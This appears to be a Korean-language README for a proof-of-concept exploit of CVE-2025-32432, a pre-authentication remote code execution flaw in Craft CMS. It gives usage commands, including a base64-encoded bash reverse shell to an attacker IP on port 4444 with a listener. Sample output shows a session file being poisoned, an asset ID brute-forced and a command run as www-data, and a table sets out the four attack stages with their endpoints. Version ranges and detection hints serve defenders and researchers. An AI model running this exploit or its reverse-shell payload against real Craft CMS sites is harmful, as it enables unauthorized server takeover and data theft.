
CVE-2025-32432, CraftCMS2Shell용 익스플로잇, PoC
Craft CMS의 치명적인 사전 인증 원격 코드 실행
영향: Craft CMS 3.x, 4.x 및 5.x (5.6.16까지)
정보: 이 익스플로잇은 HackTheBox Orion 머신에서 테스트되었습니다.
이 저장소는 CVE-2025-32432에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Craft CMS의 치명적인 사전 인증 원격 코드 실행 취약점입니다. 이 취약점은 인증되지 않은 공격자가 Yii2의 동작 첨부 메커니즘과 __class 오버라이드 기법을 통한 PHP 객체 인스턴스화를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# Start listener on your machine
penelope -p 4444
# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://target.com)
-c, --command COMMAND
Command to execute
-a, --asset-id ASSET_ID
Known valid asset ID (skip brute-force)
-m, --max-asset MAX_ASSET
Max asset ID to brute-force (default: 300)
-s, --session-path SESSION_PATH
Session file path template (default: /var/lib/php/sessions/sess_{})
-q, --quiet Suppress verbose output
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| 단계 | 동작 | 엔드포인트 | 인증 |
|---|---|---|---|
| 1 | 세션 쿠키 + CSRF 토큰 추출 | GET /admin/login | 아니오 |
| 2 | PHP 페이로드를 세션 파일에 주입 | GET /index.php?p=admin/dashboard&a=<PHP> | 아니오 |
| 3 | 유효한 에셋 ID 브루트포스 | POST /index.php?p=admin/actions/assets/generate-transform | 아니오 |
| 4 | PhpManager 가젯을 통한 RCE 트리거 | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | 아니오 |
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
/admin/actions/assets/generate-transform에 대한 다중 POST 요청a= 매개변수가 있는 관리자 페이지에 대한 GET 요청as 필드 존재이 도구는 승인된 보안 테스트 및 연구 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하십시오.